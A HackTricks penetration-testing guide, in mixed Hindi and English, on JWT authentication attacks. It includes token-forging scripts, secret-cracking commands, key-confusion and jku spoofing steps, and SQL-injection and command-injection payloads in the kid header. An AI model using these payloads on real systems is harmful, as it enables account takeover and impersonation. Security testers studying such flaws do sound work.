JWT Vulnerabilities (Json Web Tokens)
Tip
AWS Hacking सीखें & अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking सीखें & अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking सीखें & अभ्यास करें:HackTricks Training Azure Red Team Expert (AzRTE)
assessment tracks (ARTA/GRTA/AzRTA) और Linux Hacking Expert (LHE) के लिए full HackTricks Training catalog ब्राउज़ करें।
HackTricks का समर्थन करें
- subscription plans देखें!
- जुड़ें 💬 Discord group, telegram group, follow करें @hacktricks_live X/Twitter पर, या LinkedIn page और YouTube channel देखें।
- HackTricks](https://github.com/carlospolop/hacktricks) और HackTricks Cloud github repos में PRs सबमिट करके hacking tricks साझा करें।
इस पोस्ट का कुछ हिस्सा इस awesome post पर आधारित है: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
JWTs को pentest करने के लिए great tool के author https://github.com/ticarpi/jwt_tool
Quick Wins
Run jwt_tool with mode All Tests! and wait for green lines
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
यदि आप lucky हैं, तो tool कोई ऐसा case ढूँढ लेगा जहाँ web application JWT को incorrectly check कर रही है:
.png)
फिर, आप proxy में request को search कर सकते हैं या उस request के लिए इस्तेमाल किए गए JWT को jwt_ tool का उपयोग करके dump कर सकते हैं:
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
You can also use the Burp Extension SignSaboteur to launch JWT attacks from Burp.
Practical JWT assessment workflow
- Scope the session control: एक user-specific request चुनें (जैसे, profile, billing)। cookies/headers को एक-एक करके हटाएं जब तक request reject न हो जाए, ताकि यह isolate हो सके कि वास्तव में कौन-सा token(s) authorization को gate कर रहा है।
- Locate JWTs in traffic: ये अक्सर
Authorization: Bearer <JWT>में होते हैं, लेकिन custom headers या cookies में भी दिख सकते हैं। अगर Burp उन्हें highlight नहीं करता, तो Target → Site map → Engagement tools → Search with regex patterns जैसे: [= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*eyJ[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+[= ]eyJ[A-Za-z0-9_\\/+-]*\.[A-Za-z0-9._\\/+-]*- Decode and enumerate: Burp JWT Editor या
python3 jwt_tool.py <JWT>का उपयोग करके header/payload पढ़ें।alg,exp/token lifetime, और authn/authz-driving claims (role,id,username,email, etc.) नोट करें। - Signature enforcement sanity check: signature portion के कुछ bytes बदलें या delete करें और replay करें। अगर token accept हो जाता है, तो इसका मतलब signature validation missing है और आप सीधे payload claims tamper कर सकते हैं।
- Goal: payload claims को modify करके privileges escalate करना; नीचे दिए गए हर attack का लक्ष्य server को weak verification, weak secrets, या unsafe key selection का abuse करके tampered payload accept कराने का है।
Tamper data without modifying anything
आप signature को as is छोड़कर सिर्फ data tamper कर सकते हैं और check कर सकते हैं कि server signature verify कर रहा है या नहीं। उदाहरण के लिए, अपने username को “admin” में बदलने की कोशिश करें।
Is the token checked?
यह जांचने के लिए कि JWT signature verify हो रही है या नहीं:
- Error message से पता चलता है कि verification चल रही है; verbose errors में sensitive details की समीक्षा करनी चाहिए।
- Returned page में बदलाव भी verification का संकेत देता है।
- कोई बदलाव नहीं होना no verification का संकेत है; इसी स्थिति में payload claims tamper करने का experiment करें।
Origin
Proxy की request history देखकर यह निर्धारित करना महत्वपूर्ण है कि token server-side generate हुआ था या client-side.
- Client side से पहली बार दिखने वाले tokens का मतलब हो सकता है कि key client-side code में exposed है, इसलिए आगे investigation की जरूरत है।
- Server-side से originating tokens एक secure process indicate करते हैं।
Duration
Check करें कि token 24h से अधिक चलता है या नहीं… शायद यह कभी expire ही नहीं होता। अगर “exp” filed है, तो check करें कि server इसे सही से handle कर रहा है या नहीं।
Brute-force HMAC secret
अगर header HS256 use करता है, token को file में dump करें और offline cracking try करें:
python3 jwt_tool.py <JWT> -C -d wordlist.txt
hashcat -a 0 -m 16500 jwt.txt /path/to/wordlist.txt -r /usr/share/hashcat/rules/best64.rule
Once the secret is recovered, Burp JWT Editor में इसे एक symmetric key के रूप में load करें और modified claims को re-sign करें।
Leaked config + DB data से JWT secrets derive करें
अगर arbitrary file read (या backup leak) से application encryption material और user records दोनों expose हो जाते हैं, तो आप कभी-कभी JWT signing secret को recreate करके plaintext passwords जाने बिना session cookies forge कर सकते हैं। Workflow automation stacks में देखा गया example pattern:
- App key (जैसे
encryptionKey) को config file से leak करें। - User table को leak करके
email,password_hash, औरuser_idप्राप्त करें। - Key से signing secret derive करें, फिर JWT payload में expected per-user hash derive करें:
jwt_secret = sha256(encryption_key[::2]).hexdigest() # signing key
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
- signed token को session cookie (e.g.,
n8n-auth) में डालें ताकि user/admin account impersonate किया जा सके, even if password hash salted हो।
Modify the algorithm to None
algorithm को “None” के रूप में set करें और signature part हटा दें।
इस vulnerability को try करने और JWT के अंदर different values बदलने के लिए Burp extension call “JSON Web Token” का use करें (request को Repeater में भेजें और “JSON Web Token” tab में आप token के values modify कर सकते हैं। आप “Alg” field की value को “None” पर set करने के लिए भी select कर सकते हैं)।
JWE-wrapped PlainJWT / public-key auth bypass (pac4j-jwt CVE-2026-29000)
कुछ stacks एक signed inner JWT की उम्मीद करते हैं जो encrypted JWE के अंदर wrapped हो। vulnerable pac4j-jwt versions में ( 4.5.9, 5.7.9, और 6.3.3 से पहले), authenticator JWE को decrypt करता है, payload को signed JWT के रूप में parse करने की कोशिश करता है, और signature सिर्फ तभी verify करता है जब वह conversion succeed हो। अगर decrypted payload एक PlainJWT (alg=none) है, तो toSignedJWT() null लौटाता है और signature verification path skip हो जाता है।
- Pre-reqs:
- Application JWE bearer tokens accept करती है
- Server public key exposed है (आम तौर पर JWKS के जरिए जैसे
/.well-known/jwks.jsonया/api/auth/jwks) - Authorization attacker-controlled claims जैसे
sub,role,groups, याscopeपर depend करती है - Impact: केवल public key का use करके किसी भी user/role के लिए encrypted token forge करना
Practical checks:
- Frontend / API docs में ऐसे clues enumerate करें जैसे
RSA-OAEP-256,A128GCM/A256GCM,jwks, या comments जो कहती हों “inner JWT is signed”. - JWKS fetch करें और
n/eसे RSA key import करें। - Inner token को manually इस तरह बनाएं:
base64url(header) + "." + base64url(payload) + "."ताकि signature empty रहे। - इस plaintext JWT को exposed public key का use करके JWE के रूप में encrypt करें और उसे bearer token की तरह replay करें।
Minimal PlainJWT construction:
header = {"alg": "none"}
claims = {"sub": "admin", "role": "ROLE_ADMIN", "iss": "target"}
b64 = lambda b: base64.urlsafe_b64encode(b).decode().rstrip("=")
plain = (
f"{b64(json.dumps(header, separators=(',', ':')).encode())}."
f"{b64(json.dumps(claims, separators=(',', ':')).encode())}."
)
JWKS से RSA public key का उपयोग करके इसे एक compact JWE में encrypt करें:
rsa_key = jwk.JWK(**jwks["keys"][0])
token = jwe.JWE(
plaintext=plain.encode(),
protected=json.dumps({"alg": "RSA-OAEP-256", "enc": "A256GCM"}),
recipient=rsa_key,
)
forged = token.serialize(compact=True)
Notes:
- If your JWT library refuses to emit
alg=none, generate the compact token manually as shown above. - The
encvalue must match one accepted by the target; frontend comments and legitimate tokens often disclose this. - In SPAs, check whether the bearer token is stored in
sessionStorage,localStorage, or a JS-accessible cookie; dropping the forged token there is often enough to validate the bypass quickly.
Change the algorithm RS256(asymmetric) to HS256(symmetric) (CVE-2016-5431/CVE-2016-10555)
The algorithm HS256 uses the secret key to sign and verify each message.
The algorithm RS256 uses the private key to sign the message and uses the public key for authentication.
If you change the algorithm from RS256 to HS256, the back end code uses the public key as the secret key and then uses the HS256 algorithm to verify the signature.
Then, using the public key and changing RS256 to HS256 we could create a valid signature. You can retrieve the certificate of the web server executing this:
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
Burp JWT Editor का उपयोग करके, RSA public key को (/.well-known/jwks.json या PEM से) import करें और HS256 re-sign प्रयास को automate करने के लिए Attack → HMAC Key Confusion Attack चलाएँ।
Header के अंदर नया public key
एक attacker token के header में नया key embed करता है और server signature verify करने के लिए इस नए key का उपयोग करता है (CVE-2018-0114)।
यह “JSON Web Tokens” Burp extension के साथ किया जा सकता है।
(Request को Repeater में भेजें, JSON Web Token tab के अंदर “CVE-2018-0114” select करें और request भेजें)।
JWKS Spoofing
Instructions JWT tokens की security assess करने की एक method detail करती हैं, खासकर वे जो “jku” header claim का उपयोग करते हैं। यह claim एक JWKS (JSON Web Key Set) file की ओर link होना चाहिए, जिसमें token verification के लिए आवश्यक public key होती है।
-
“jku” Header के साथ Tokens का Assessment:
-
“jku” claim के URL को verify करें ताकि यह सुनिश्चित हो कि यह उचित JWKS file तक जाता है।
-
token के “jku” value को बदलकर उसे एक controlled web service की ओर point करें, जिससे traffic observation संभव हो।
-
HTTP Interaction की Monitoring:
-
आपके specified URL पर HTTP requests observe होना इस बात का संकेत है कि server आपके दिए गए link से keys fetch करने की कोशिश कर रहा है।
-
इस process के लिए
jwt_toolका उपयोग करते समय, testing को facilitate करने के लिएjwtconf.inifile में अपनी personal JWKS location update करना crucial है। -
jwt_toolके लिए Command: -
jwt_toolके साथ scenario simulate करने के लिए निम्न command execute करें:
python3 jwt_tool.py JWT_HERE -X s
Kid Issues Overview
एक optional header claim जिसे kid कहा जाता है, किसी specific key की पहचान के लिए उपयोग किया जाता है, जो तब खास तौर पर महत्वपूर्ण हो जाता है जब token signature verification के लिए multiple keys मौजूद हों। यह claim token signature verify करने के लिए उचित key select करने में मदद करता है।
“kid” के माध्यम से Key reveal करना
जब header में kid claim मौजूद हो, तो सलाह दी जाती है कि web directory में संबंधित file या उसकी variations खोजी जाएँ। उदाहरण के लिए, यदि "kid":"key/12345" specified है, तो files /key/12345 और /key/12345.pem को web root में search किया जाना चाहिए।
“kid” के साथ Path Traversal
kid claim का उपयोग file system में navigate करने के लिए भी किया जा सकता है, जिससे potentially arbitrary file select करना संभव हो जाता है। JWT को tamper करके kid value बदलते हुए original signature बनाए रखना jwt_tool में -T flag का उपयोग करके किया जा सकता है, जैसा नीचे दिखाया गया है:
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
By targeting files with predictable content, it’s possible to forge a valid JWT. For instance, the /proc/sys/kernel/randomize_va_space file in Linux systems, known to contain the value 2, can be used in the kid parameter with 2 as the symmetric password for JWT generation.
A practical pattern for brittle file-system key loading is to generate an HS256 key with JWK k set to AA==, set kid to a traversal like ../../../../../../../dev/null, and re-sign—some implementations treat the empty file as a valid HMAC secret and will accept forged tokens.
SQL Injection via “kid”
If the kid claim’s content is employed to fetch a password from a database, an SQL injection could be facilitated by modifying the kid payload. An example payload that uses SQL injection to alter the JWT signing process includes:
non-existent-index' UNION SELECT 'ATTACKER';-- -
This alteration forces the use of a known secret key, ATTACKER, for JWT signing.
OS Injection through “kid”
A scenario where the kid parameter specifies a file path used within a command execution context could lead to Remote Code Execution (RCE) vulnerabilities. By injecting commands into the kid parameter, it’s possible to expose private keys. An example payload for achieving RCE and key exposure is:
/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&
x5u and jku
jku
jku का मतलब JWK Set URL है।
अगर token jku Header claim का उपयोग करता है, तो प्रदान किए गए URL को check out करें। यह ऐसी URL की ओर point करना चाहिए जिसमें JWKS file हो, जो token verify करने के लिए Public Key रखती है। token को tamper करें ताकि jku value को ऐसे web service पर point कराया जा सके जिसे आप traffic monitor कर सकें।
सबसे पहले आपको नए private और public keys के साथ एक नया certificate बनाना होगा
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Then you can use for example jwt.io to create the new JWT with the created public and private keys and pointing the parameter jku to the certificate created. In order to create a valid jku certificate you can download the original one anche change the needed parameters.
आप public certificate से “e” और “n” parameters को इस तरह प्राप्त कर सकते हैं:
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
यदि verifier remotely key material fetch करता है, तो jku/x5u में JWT Editor → Attack → Embed Collaborator payload का उपयोग करके एक Burp Collaborator URL embed करें। कोई भी callback SSRF-style key retrieval की पुष्टि करता है; फिर उस URL पर अपना JWKS/PEM host करें और अपनी private key से re-sign करें ताकि service attacker-minted tokens को validate करे।
x5u
X.509 URL. एक URI जो PEM form में encoded X.509 (एक certificate format standard) public certificates के set की ओर point करता है। set में पहला certificate वही होना चाहिए जिसका उपयोग इस JWT को sign करने के लिए किया गया है। उसके बाद वाले certificates, पिछले certificate को sign करते हैं, जिससे certificate chain पूरी होती है। X.509 RFC 52807 में defined है। certificates transfer करने के लिए transport security required है।
इस header को अपने control वाले URL में बदलने की कोशिश करें और check करें कि कोई request receive होती है या नहीं। ऐसी स्थिति में आप JWT tamper कर सकते हैं।
अपने द्वारा controlled certificate का उपयोग करके नया token forge करने के लिए, आपको certificate create करना होगा और public तथा private keys extract करनी होंगी:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
Then आप उदाहरण के लिए jwt.io का उपयोग कर सकते हैं ताकि created public and private keys के साथ नया JWT बनाया जा सके और parameter x5u को created certificate .crt की ओर point किया जा सके।
.png)
आप इन दोनों vulns का भी SSRFs के लिए abuse कर सकते हैं।
x5c
यह parameter certificate in base64 रख सकता है:
.png)
यदि attacker self-signed certificate generate करता है और corresponding private key का उपयोग करके forged token बनाता है, तथा “x5c” parameter’s value को newly generatedcertificate से replace करता है और अन्य parameters, namely n, e and x5t, को modify करता है, तो essentially forgedtoken server द्वारा accepted हो जाएगा।
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
Embedded Public Key (CVE-2018-0114)
यदि JWT में निम्नलिखित scenario की तरह embedded public key है:
.png)
निम्न nodejs script का उपयोग करके उस data से public key generate करना possible है:
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
एक नया private/public key generate करना संभव है, नए public key को token के अंदर embed करके और इसका use करके एक नया signature generate किया जा सकता है:
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
आप इस nodejs script का उपयोग करके “n” और “e” प्राप्त कर सकते हैं:
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
Finally, using the public and private key and the new “n” and “e” values you can use jwt.io to forge a new valid JWT with any information.
ES256: Revealing the private key with same nonce
If some applications use ES256 and use the same nonce to generate two jwts, the private key can be restored.
Here is a example: ECDSA: Revealing the private key, if same nonce used (with SECP256k1)
JTI (JWT ID)
The JTI (JWT ID) claim provides a unique identifier for a JWT Token. It can be used to prevent the token from being replayed.
However, imagine a situation where the maximun length of the ID is 4 (0001-9999). The request 0001 and 10001 are going to use the same ID. So if the backend is incrementig the ID on each request you could abuse this to replay a request (needing to send 10000 request between each successful replay).
JWT Registered claims
Other attacks
Cross-service Relay Attacks
यह देखा गया है कि कुछ web applications अपने tokens के generation और management के लिए एक trusted JWT service पर निर्भर करती हैं। ऐसे मामले दर्ज किए गए हैं जहाँ JWT service द्वारा एक client के लिए generated token, उसी JWT service के दूसरे client द्वारा स्वीकार किया गया। यदि third-party service के माध्यम से किसी JWT का issuance या renewal देखा जाता है, तो उसी username/email का उपयोग करके उस service के किसी अन्य client पर account बनाने की संभावना की जाँच करनी चाहिए। इसके बाद obtained token को target के request में replay करने का प्रयास किया जाना चाहिए ताकि देखा जा सके कि क्या वह accepted होता है।
- अगर आपका token स्वीकार किया जाता है, तो यह एक critical issue का संकेत हो सकता है, जिससे किसी भी user के account की spoofing संभव हो सकती है। हालांकि, यह ध्यान रखना चाहिए कि third-party application पर signup करने के लिए wider testing की permission की आवश्यकता हो सकती है, क्योंकि इससे यह legal grey area में जा सकता है।
Expiry Check of Tokens
Token की expiry को “exp” Payload claim का उपयोग करके checked किया जाता है। चूंकि JWTs अक्सर session information के बिना employed किए जाते हैं, इसलिए careful handling की आवश्यकता होती है। कई मामलों में, किसी दूसरे user के JWT को capture करके replay करने से उस user की impersonation संभव हो सकती है। JWT RFC replay attacks को mitigate करने के लिए “exp” claim का उपयोग करके token के लिए expiry time set करने की recommend करता है। इसके अलावा, application द्वारा relevant checks का implementation, ताकि इस value का processing हो और expired tokens reject किए जाएँ, अत्यंत महत्वपूर्ण है। यदि token में “exp” claim शामिल है और testing time limits अनुमति दें, तो token को store करके expiry time बीत जाने के बाद replay करना advised है। Token की content, जिसमें timestamp parsing और expiry checking (timestamp in UTC) शामिल है, jwt_tool के -R flag का उपयोग करके पढ़ी जा सकती है।
- यदि application अभी भी token को validate करती है, तो एक security risk मौजूद हो सकता है, क्योंकि इसका अर्थ हो सकता है कि token कभी expire नहीं हो सकता।
Tools
- jwt_tool – decoding, claim/header tampering, offline secret cracking (
-C) and semi-automated attack modes (-M at). - Burp JWT Editor – decode/re-sign in Repeater, generate custom keys, and run built-in attacks (none, HMAC key confusion, embedded JWK, jku/x5u collaborator payloads).
- hashcat
-m 16500– GPU-accelerated HS256 secret cracking after exporting JWTs to a wordlist.
References
- n8n token forge chain – config+DB leak to JWT signing secret
- Burp Suite – JWT Editor extension
- jwt_tool attack methodology
- Keys to JWT Assessments – TrustedSec
- 0xdf - HTB: Principal
- CodeAnt AI - Inside CVE-2026-29000: The pac4j JWT Authentication Bypass Explained
Tip
AWS Hacking सीखें & अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking सीखें & अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking सीखें & अभ्यास करें:HackTricks Training Azure Red Team Expert (AzRTE)
assessment tracks (ARTA/GRTA/AzRTA) और Linux Hacking Expert (LHE) के लिए full HackTricks Training catalog ब्राउज़ करें।
HackTricks का समर्थन करें
- subscription plans देखें!
- जुड़ें 💬 Discord group, telegram group, follow करें @hacktricks_live X/Twitter पर, या LinkedIn page और YouTube channel देखें।
- HackTricks](https://github.com/carlospolop/hacktricks) और HackTricks Cloud github repos में PRs सबमिट करके hacking tricks साझा करें।


